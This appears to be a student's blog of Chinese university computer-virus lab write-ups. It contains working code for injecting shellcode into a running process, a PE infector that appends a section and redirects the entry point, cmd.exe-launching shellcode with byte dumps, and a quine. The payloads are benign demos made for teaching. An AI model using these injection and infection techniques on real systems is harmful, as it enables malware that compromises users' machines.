计算机病毒-实验4-Part3

Swap Mouse Buttons

In the previous practice the injected shell code only runs once and exits then. In contrast most practical virus and malwares always stay in the memory. In this practice you will see a more practical shell code that will stay in the memory during the execution of the injected process.

  1. Download and read files code1.c. The function of code1.c is similar to that of code0.c. The code between labels _start and _end, if injected, will swap the behaviors of the left mouse button and the right mouse button of the injected process. To be different from the previous practice, the shell code will take effect during the execution of the injected process.
  2. Compile files code1.c and meminj.c.
    cl code1.c meminj.c user32.lib
    
  3. Run program notepad and then run code1.exe. Click the left mouse button and the right mouse button in the editing area of notepad and see what happens.
  4. Read code1.c again and find out why the shell code can stay in the memory and take effect.
  5. Use Ollydbg to debug the notepad and code0.exe. Observe the procedure of the injection and the instructions when you click mouse buttons in notepad.

按照以上步骤进行后,发现Notepad的左右键被交换了。

所有程序用的代码code0,code1,meminj.c在空间里面的。

计算机病毒-实验4-Part2

Using Ollydbg Debugging Threads

In this practice you will use Ollydbg to see the injection procedure of above program.

  1. Run program notepad.
  2. Open code0.exe in Ollydbg and set breakpoints at WriteProcessMemory and CreateRemoteThread. Run code0.exe and stop at the first breakpoint.
  3. Run a new instance of Ollydbg. Click the item "Attach…" in the menu "File" and double click the item named notepad in the pop-up window.
  4. Click the item "Memory map" in the menu "View". Find an item whose type is started with Priv and whose access is RWE. Right click on this item and select the item "Set break-on-access".
  5. Continue running code0.exe in the first Ollydbg, stop at the second breakpoint and step over it.
  6. Switch to the second Ollydbg and continue running notepad. It will stop at the beginning of the injected code.

按照上面的步骤就会看到Notepad进程所运行的内存空间里面多了,ShellCode。表明内存感染成功。

计算机病毒-实验4-Part1

Memory Code Injector

实验步骤要求:

In this practice you will write a memory code injector that can inject a piece of give shell code into a running process.

  1. Download and read files code0.c and meminj.c.
    code0.c

    This file contains a complete shell code generator. The code between labels _start and _end is the original assembly version of the shell code to be injected. The function is to say "hello" in a message box.

    A major difference between code0.c and code.c used in the previous lab is that code0.c stores the generated shell code in a buffer rather than prints out the shell code. Thus, other functions can use the shell code directly other than manually copy and paste first as we have done in the previous practice.

    meminj.c

    This file contains an uncompleted memory code injector which can inject the given shell code to a running process.

    The places where your code should be filled in are prepended by comments like

    // Add your code here
    
  2. In order to successfully inject a piece of code into a running process, the injector must first find the process. We can first get the window handler of the to-be-injected process by the name and then get the process id of the process by the window handler. This job has already done by the function getWinHandler() and statements below in the main() function:
    if (errcode = getWinHandler(&hWnd)) {
        ShowErr(errcode);
        return errcode;
    }  
    
  3. After get the process id and the window handler, you can inject a piece of given shell code into the process. This job is done by the function InjCode() which is almost empty at present. It’s your work to fill up it.
    • First, you need to get the process handler of the process by the windows API function OpenProcess().
    • Next, you need to allocate a piece of memory in the process where the shell code will be injected by VirtualAllocEx().
    • Then, you can copy the shell code into the new allocated memory by WriteProcessMemory().
    • Now you can create a new thread of the process to run the shell code by CreateRemoteThread() and wait for the termination of the thread by WaitForSingleObject().
  4. Compile code0.c and meminj.c.
    cl code0.c meminj.c user32.lib
    
  5. Run program notepad.
  6. Run code0.exe that is generated in step 4. If successfully injection, notepad will pop up a message box saying "Hello".

实验过程:

meminj.c中的InjCode()函数实现如下:

int InjCode (DWORD PID, HWND hWnd, PBYTE pCode, DWORD dwSizeOfCode)
{
        // Add your code here
        HANDLE hProcess;
        PBYTE pCodeRemote;
        LPDWORD *dwNumBytesXferred=NULL;
        HANDLE hThread;
        LPDWORD *dwThreadId=NULL;
        LPDWORD *nSuccess=0;
    //Get the specified process ID
        hProcess = OpenProcess(
            PROCESS_CREATE_THREAD |       //
            PROCESS_QUERY_INFORMATION |   //取回进程的信息,如token,exit code,priority class
            PROCESS_VM_OPERATION |          //设置对虚拟内存的操作,下面是允许对这块虚存的读和写,是异常操作                 
            PROCESS_VM_WRITE |               
            PROCESS_VM_READ,
            FALSE, PID);                  //当前进程不可继承,获取“记事本”的进程号。
        if (hProcess==NULL)
        {
            printf("获取进程失败!");
            return 2;
        }

    //为上面产生的进程分配虚拟内存
        pCodeRemote = (PBYTE) VirtualAllocEx(hProcess, 0,
            dwSizeOfCode, MEM_COMMIT,
            PAGE_EXECUTE_READWRITE);

        if ( pCodeRemote == NULL ) {
            CloseHandle( hProcess );
            return 3;
        }

    //向上一步分配的内存中添加shell code
        WriteProcessMemory( hProcess, pCodeRemote,
            pCode, dwSizeOfCode,
            &dwNumBytesXferred );

    //创建远端进程
        hThread = CreateRemoteThread(hProcess, NULL, 0,
            (LPTHREAD_START_ROUTINE) pCodeRemote,
            pCodeRemote, 0 , &dwThreadId);
        if ( hThread == 0 )
        {
            if ( pCodeRemote != 0 )             
                VirtualFreeEx( hProcess, pCodeRemote, 0,MEM_RELEASE );
            if ( hThread != 0 )           
                CloseHandle(hThread);
            return 4;
        }
    //等待线程运行完成
        WaitForSingleObject(hThread, INFINITE);
        GetExitCodeThread(hThread, (PDWORD) &nSuccess);
        if ( nSuccess )
            MessageBeep(MB_OK);    // success
        CloseHandle( hProcess );

        return 0;

}

编译之后:

C:\Documents and Settings\Administrator\桌面>code0.exe
Finding Handler of Window …… done.
Finding Process ID of Window …… done.
PID : 0x000009F4
Generating Code ……
Dumping Code:—————-
0x55,0x8B,
0xEC,0x53,0xE8,0x00,0x00,0x00,0x00,0x5B,
0x81,0xEB,0x8F,0x10,0x40,0x00,0x8D,0x8B,
0xC2,0x10,0x40,0x00,0x51,0xFF,0x93,0xD7,
0x10,0x40,0x00,0x6A,0x00,0x8D,0x8B,0xD2,
0x10,0x40,0x00,0x51,0x8D,0x8B,0xCD,0x10,
0x40,0x00,0x51,0x6A,0x00,0xFF,0x93,0xD3,
0x10,0x40,0x00,0x33,0xC0,0x5B,0x8B,0xE5,
0x5D,0xC3,0x75,0x73,0x65,0x72,0x33,0x32,
0x2E,0x64,0x6C,0x6C,0x00,0x48,0x65,0x6C,
0x6C,0x6F,0x00,0xCC,0xCC,0xCC,0xCC,0xCC,
0xCC,0xCC,0xCC,
—————————–
— Code Size :  0x00000055
done.
Injecting Code ……
done.

此时的Notepad会弹出一个hello框。

计算机病毒-实验3-Part2

Part II Code Injection

In this part you will see a program that inject a piece of shellcode to an existing PE file. The shellcode will pop up a message box and then run the original code the PE file.

  1. Download code.c, peinj.cpp and hello.exe.
  2. Read code.c and peinj.cpp. Make sure you will understand the principle of code injection.
    code.c

    will generate the shellcode to be injected to hello.exe. The code between label _start and _end is the assembly version of the shellcode. And the loop in the followed C code will generate the correspondent shellcode.

    peinj.cpp

    is the source code that do the injection work. The to-be-injected shellcode is stored in a global array injcode1, which is empty at present. Function PEOpenFile() is almost the same as the one you have seen in the previous part. main() function loads hello.exe to the memory by PEOpenFile() firstly, then calls PEInject() to add a new section which contains the shellcode and alter the entry pointer to the new section, and finally uses PESaveFile() to store the new PE image to hello1.exe.
  3. Compile code.c and run the generated executable file. Paste the shell code to peinj.cpp.
  4. Compile peinj.cpp and run the generated executable file.
  5. Run hello.exe and hello1.exe, and observe the different behaviors between them.
  6. Use PEdump you make before or PEditor/Stud_PE to analyze hello.exe and hello1.exe. Then fill up these tables.

看懂code.c文件的功能,然后再命令行获取shellcode.

C:\>code
0x60,0x55,
0x8B,0xEC,0x83,0xEC,0x14,0xE8,0x77,0x00,
0x00,0x00,0x89,0x45,0xFC,0x50,0xE8,0x8C,
0x00,0x00,0x00,0x89,0x45,0xF8,0x83,0xC4,
0x04,0xE8,0x0D,0x00,0x00,0x00,0x4C,0x6F,
0x61,0x64,0x4C,0x69,0x62,0x72,0x61,0x72,
0x79,0x41,0x00,0xFF,0x75,0xFC,0xFF,0x55,
0xF8,0x89,0x45,0xF4,0xE8,0x0B,0x00,0x00,
0x00,0x75,0x73,0x65,0x72,0x33,0x32,0x2E,
0x64,0x6C,0x6C,0x00,0xFF,0x55,0xF4,0x89,
0x45,0xF0,0xE8,0x0C,0x00,0x00,0x00,0x4D,
0x65,0x73,0x73,0x61,0x67,0x65,0x42,0x6F,
0x78,0x41,0x00,0xFF,0x75,0xF0,0xFF,0x55,
0xF8,0x89,0x45,0xEC,0x6A,0x00,0xE8,0x01,
0x00,0x00,0x00,0x00,0xE8,0x06,0x00,0x00,
0x00,0x48,0x65,0x6C,0x6C,0x6F,0x00,0x6A,
0x00,0xFF,0x55,0xEC,0x8B,0xE5,0x5D,0xEB,
0x6B,0x55,0x8B,0xEC,0x56,0x57,0x64,0xA1,
0x30,0x00,0x00,0x00,0x8B,0x40,0x0C,0x8B,
0x70,0x1C,0x8B,0x06,0x8B,0x78,0x08,0x8B,
0xC7,0x5F,0x5E,0x8B,0xE5,0x5D,0xC3,0x55,
0x8B,0xEC,0x52,0x57,0x56,0x8B,0x5D,0x08,
0x8B,0x43,0x3C,0x8B,0x54,0x03,0x78,0x03,
0xD3,0x8B,0x4A,0x18,0x8B,0x7A,0x20,0x03,
0xFB,0x49,0x8B,0x34,0x8F,0x03,0xF3,0xB8,
0x47,0x65,0x74,0x50,0x39,0x06,0x75,0xF1,
0xB8,0x72,0x6F,0x63,0x41,0x39,0x46,0x04,
0x75,0xE7,0x8B,0x7A,0x24,0x03,0xFB,0x66,
0x8B,0x0C,0x4F,0x8B,0x7A,0x1C,0x03,0xFB,
0x8B,0x04,0x8F,0x03,0xC3,0x56,0x57,0x52,
0x8B,0xE5,0x5D,0xC3,0xE8,0x00,0x00,0x00,
0x00,0x5D,0x81,0xED,0x01,0x11,0x40,0x00,
0x8B,0x85,0x20,0x11,0x40,0x00,0x03,0x85,
0x24,0x11,0x40,0x00,0x89,0x44,0x24,0x1C,
0x61,0x50,0x33,0xC0,0xC3,0xFF,0xE0,0x90,
0xCC,0xCC,0xCC,0xCC,0xCC,0xCC,0xCC,0xCC,
size(dec) : 282
param1 offset : 0x112
param2 offset : 0x116

将shellcode拷贝到peinj.cpp中,在按照下面的命令行编译:

C:\>cl peinj.cpp user32.lib

将win.exe文件与peinj.exe文件放在一起,之后,双击peinj.exe,就会发现win.exe被感染,当然,我将它生成另一个文件win_inj.exe以示区别做研究。最后用Stu_PE等工具分析它的section,就会发现被感染的文件比没有被感染的文件多一个节,我把它取名为new。实验结果如下:

The entry address:0001121C

No | Name | VSize | VOffset | RSize | ROffset | Charact. |

01 | .textbss | 00010000 | 00001000 | 00000000 | 00000000 | E00000A0 |

02 | .text | 00003CF9 | 00011000 | 00003E00 | 00000400 | 60000020 |

03 | .rdata | 00001C3A | 00015000 | 00001E00 | 00004200 | 40000040 |

04 | .data | 0000077C | 00017000 | 00000200 | 00006000 | C0000040 |

05 | .idata | 00000ACC | 00018000 | 00000C00 | 00006200 | C0000040 |

06 | .rsrc | 0000F069 | 00019000 | 0000F200 | 00006E00 | 40000040 |

07 | .reloc | 00000576 | 00029000 | 00000600 | 00016000 | 42000040 |

The entry address:0002A000

No | Name | VSize | VOffset | RSize | ROffset | Charact. |

01 | .textbss | 00010000 | 00001000 | 00000000 | 00000000 | E00000A0 |

02 | .text | 00004000 | 00011000 | 00003E00 | 00000400 | 60000020 |

03 | .rdata | 00002000 | 00015000 | 00001E00 | 00004200 | 40000040 |

04 | .data | 00001000 | 00017000 | 00000200 | 00006000 | C0000040 |

05 | .idata | 00001000 | 00018000 | 00000C00 | 00006200 | C0000040 |

06 | .rsrc | 00010000 | 00019000 | 0000F200 | 00006E00 | 40000040 |

07 | .reloc | 00001000 | 00029000 | 00000600 | 00016000 | 42000040 |

08 | .new | 00001000 | 0002A000 | 00000200 | 00016600 | C0000040 |

计算机病毒-实验3-Part1

PE dump & Code injection

Lab3 is comprised of two parts. In the first part you will write a simple utility PEdump which can print out the contents of a PE file. In the second part you will complete a program that injects a piece of shellcode into an existing PE file.

先看pedump.c中的PEOpenFile函数,然后完成dumpSummary(),dumpSectionTable(),dumpImportNames()这三个函数。然后用下面的命令行编译。

C:\>cl pedump.c user32.lib

生成exe文件之后,继续用自己编译的pedump将hello.exe的PE头打印出来。

C:\>pedump hello.exe                  输出结果如下:

Loading PE file hello.exe … done.
Summary:
  size of code: 0x00008a00
  size of initialized data: 0x00004a0
  size of uninitialized data: 0x00000

  address of entry point: 0x00001254
  base of code: 0x00001000
  base of data: 0x0000a000

  number of sections: 0x00000003
Sections:
  Sec 0x00000000
    Name: .text
    Virtual Size: 0x00008884
    Virtual Address: 0x00001000
    Size of Raw Data: 0x00008a00
    Ptr to Raw Data: 0x00000400
    Ptr to Relocations: 0x00000000
    Characteristics: 0x60000020

  Sec 0x00000001
    Name: .rdata
    Virtual Size: 0x00001d94
    Virtual Address: 0x0000a000
    Size of Raw Data: 0x00001e00
    Ptr to Raw Data: 0x00008e00
    Ptr to Relocations: 0x00000000
    Characteristics: 0x40000040

  Sec 0x00000002
    Name: .data
    Virtual Size: 0x00002ac8
    Virtual Address: 0x0000c000
    Size of Raw Data: 0x00001000
    Ptr to Raw Data: 0x0000ac00
    Ptr to Relocations: 0x00000000
    Characteristics: 0xc0000040

Imported Names:
  (null)因为第三个没有完成

需要的文件:pedump.c,hello.exe

计算机病毒-实验二-Practice3-正式版

Lab2.Prac3: ShellCode

Table of Contents

1 将C代码改写为汇编代码

#include <windows.h>

char *dllname = "msvcrt.dll";
char *funcname = "system";
char *cmdname = "cmd.exe";

_declspec(naked) int WINAPI WinMain(int a, int b, int c, int d) {
  __asm {
    push ebp;
    mov ebp, esp;

    push dllname;
    call dword ptr [LoadLibraryA];
    add esp, 4;

    push funcname;
    push eax;
    call dword ptr [GetProcAddress];
    add esp, 8;

    push cmdname;
    call eax;
    add esp, 4;

    mov esp, ebp;
    pop ebp;

    ret;
  }
}

2 将上述汇编代码中使用的字符串利用_emit指令编码到代码中

#include <windows.h>

_declspec(naked) int WINAPI WinMain(int a, int b, int c, int d) {
  __asm {
    push ebp;
    mov ebp, esp;

    call _delta;               // 这条指令的副作用是将_delta的地址压栈
                               // 注意:这个地址是代码段上的地址
  _delta:
    pop ebx;                   // 取出_delta的地址
    sub ebx, offset _delta;    // 获得代码段的基地址

    lea ecx, dword ptr [ebx+_dllname];    // 获得存放在代码段上的字符串"msvcrt.dll"的地址
    push ecx;                             // 将这个地址压栈,即传递LoadLibraryA的参数
    call dword ptr [LoadLibraryA];
    add esp, 4;

    lea ecx, dword ptr [ebx+_funcname];   // 获得存放在代码段上的字符串"system"的地址
    push ecx;                             // 将这个地址压栈,即传递GetProcAddress的参数
    push eax;
    call dword ptr [GetProcAddress];
    add esp, 8;

    lea ecx, dword ptr [ebx+_cmdname];    // 获得存放在代码段上的字符串"cmd.exe"的地址
    push ecx;                             // 将这个地址压栈,即传递system的参数
    call eax;
    add esp, 4;

    mov esp, ebp;
    pop ebp;

    ret;

  _dllname:
    _emit 'm';
    _emit 's';
    _emit 'v';
    _emit 'c';
    _emit 'r';
    _emit 't';
    _emit '.';
    _emit 'd';
    _emit 'l';
    _emit 'l';
    _emit 0x0;
  _funcname:
    _emit 's';
    _emit 'y';
    _emit 's';
    _emit 't';
    _emit 'e';
    _emit 'm';
    _emit 0x0;
  _cmdname:
    _emit 'c';
    _emit 'm';
    _emit 'd';
    _emit '.';
    _emit 'e';
    _emit 'x';
    _emit 'e';
    _emit 0x0;
  }
}

3 将上述代码中对LoadLibraryA和GetProcAddress的调用改为对它们的绝对地址的调用

3.1 如何获得LoadLibraryA的绝对地址?
  • 编译2.中的代码
  • 在OllyDbg中打开编译得到的可执行文件,找到call dword ptr [LoadLibraryA]对应的指令。在OllyDbg中,这条指令可能显示为CALL DWORD PTR DS:[<&KERNEL32.LoadLibraryA>]。
  • 在这条指令的位置设置断点, 然后按F9运行这个程序。
  • 程序会在断点出暂停。按F7进入函数LoadLibraryA。此时,阴影中的指令的地址(最左边一列中的内容)就是我们需要的LoadLibraryA的绝对地址。记录这个地址。
  • 使用同样的方法,我们也可以获得GetProcAddress的绝对地址。
3.2 将对LoadLibraryA和GetProcAddress的调用改为对它们的绝对地址的调用
#include <windows.h>

_declspec(naked) int WINAPI WinMain(int a, int b, int c, int d) {
  __asm {
    push ebp;
    mov ebp, esp;

    call _delta;
  _delta:
    pop ebx;
    sub ebx, offset _delta;

    lea ecx, dword ptr [ebx+_dllname];
    push ecx;
    mov eax, 0x7c801d77;                  // 将LoadLibraryA的绝对地址加载到eax
    call eax;                             // 调用LoadLibraryA
    add esp, 4;

    lea ecx, dword ptr [ebx+_funcname];
    push ecx;
    push eax;
    mov eax, 0x7c80ac28;                  // 将GetProcAddress的绝对地址加载到eax
    call eax;                             // 调用GetProcAddress
    add esp, 8;

    lea ecx, dword ptr [ebx+_cmdname];
    push ecx;
    call eax;
    add esp, 4;

    mov esp, ebp;
    pop ebp;

    ret;

  _dllname:
    _emit 'm';
    _emit 's';
    _emit 'v';
    _emit 'c';
    _emit 'r';
    _emit 't';
    _emit '.';
    _emit 'd';
    _emit 'l';
    _emit 'l';
    _emit 0x0;
  _funcname:
    _emit 's';
    _emit 'y';
    _emit 's';
    _emit 't';
    _emit 'e';
    _emit 'm';
    _emit 0x0;
  _cmdname:
    _emit 'c';
    _emit 'm';
    _emit 'd';
    _emit '.';
    _emit 'e';
    _emit 'x';
    _emit 'e';
    _emit 0x0;
  }
}

4 获得上述代码的shellcode

可以通过OllyDbg或者dumpbin获得对应的shellcode。

4.1 通过OllyDbg获得shellcode

在OllyDbg中找到上述汇编代码对应的部分。这部分看起来是如下形式,其中Hex dump一列中就是需要的shellcode。

Address       Hex dump                              Command                                  Comments
00401000  /$  55                                    PUSH EBP
00401001  |.  8BEC                                  MOV EBP,ESP
00401003  |.  E8 00000000                           CALL 00401008
00401008  |$  5B                                    POP EBX
00401009  |.  81EB 08104000                         SUB EBX,popup_abs.00401008               ; Entry point
0040100F  |.  8D8B 42104000                         LEA ECX,[EBX+401042]                     ; ASCII "msvcrt.dll"
00401015  |.  51                                    PUSH ECX                                 ; /FileName
00401016  |.  B8 771D807C                           MOV EAX,7C801D77                         ; |
0040101B  |.  FFD0                                  CALL EAX                                 ; \KERNEL32.LoadLibraryA
0040101D  |.  83C4 04                               ADD ESP,4
00401020  |.  8D8B 4D104000                         LEA ECX,[EBX+40104D]                     ; ASCII "system"
00401026  |.  51                                    PUSH ECX                                 ; /Procname
00401027  |.  50                                    PUSH EAX                                 ; |hModule
00401028  |.  B8 28AC807C                           MOV EAX,7C80AC28                         ; |
0040102D  |.  FFD0                                  CALL EAX                                 ; \KERNEL32.GetProcAddress
0040102F  |.  83C4 08                               ADD ESP,8
00401032  |.  8D8B 54104000                         LEA ECX,[EBX+401054]                     ; ASCII "cmd.exe"
00401038  |.  51                                    PUSH ECX
00401039  |.  FFD0                                  CALL EAX
0040103B  |.  83C4 04                               ADD ESP,4
0040103E  |.  8BE5                                  MOV ESP,EBP
00401040  |.  5D                                    POP EBP
00401041  \.  C3                                    RETN
00401042   .  6D 73 76 63 72 74 2E 64 6C 6C 00      ASCII "msvcrt.dll",0
0040104D   .  73 79 73 74 65 6D 00                  ASCII "system",0
00401054   .  63 6D 64 2E 65 78 65 00               ASCII "cmd.exe",0
4.2 通过dumpbin获得shellcode

在命令行输入"dumpbin /disasm:bytes xxx.exe"也可以获得与OllyDbg中类似的内容。其中第二列是相应的shellcode。

5 执行shellcode

将获得的shellcode以0x开头存放在一个数组里,然后以这个数组的地址作为call指令的操作数。对于上面的例子而言,相应的程序如下。

#include <windows.h>

char code[] = {
0x55,0x8B,0xEC,0xE8,0x00,0x00,0x00,
0x00,0x5B,0x81,0xEB,0x11,0x10,0x40,0x00,
0x8D,0x83,0x42,0x10,0x40,0x00,0x50,0xA1,
0x04,0xA0,0x40,0x00,0xFF,0xD0,0x8D,0x8B,
0x4D,0x10,0x40,0x00,0x51,0x50,0xA1,0x00,
0xA0,0x40,0x00,0xFF,0xD0,0x8D,0x8B,0x54,
0x10,0x40,0x00,0x51,0xFF,0xD0,0x8B,0xE5,
0x5D,0xC3,0x6D,0x73,0x76,0x63,0x72,0x74,
0x2E,0x64,0x6C,0x6C,0x00,0x73,0x79,0x73,
0x74,0x65,0x6D,0x00,0x63,0x6D,0x64,0x2E,
0x65,0x78,0x65,0x00};

int WINAPI WinMain(int a, int b, int c, int d) {
  __asm {
    call offset code;
  }
}

计算机病毒-编写自己打印程序

编写一个程序自己打印出来,这是计算机病毒的入门。

#include "stdio.h"
int main()
{
    char *a="int main(){char *a=%c%s%c;int b=’%c’;printf(a,b,a,b,b);}";
    int b=’"’;
    printf(a,b,a,b,b);
}

输出结果为:

int main(){char *a="int main(){char *a=%c%s%c;int b=’%c’;printf(a,b,a,b,b);}";in
t b=’"’;printf(a,b,a,b,b);}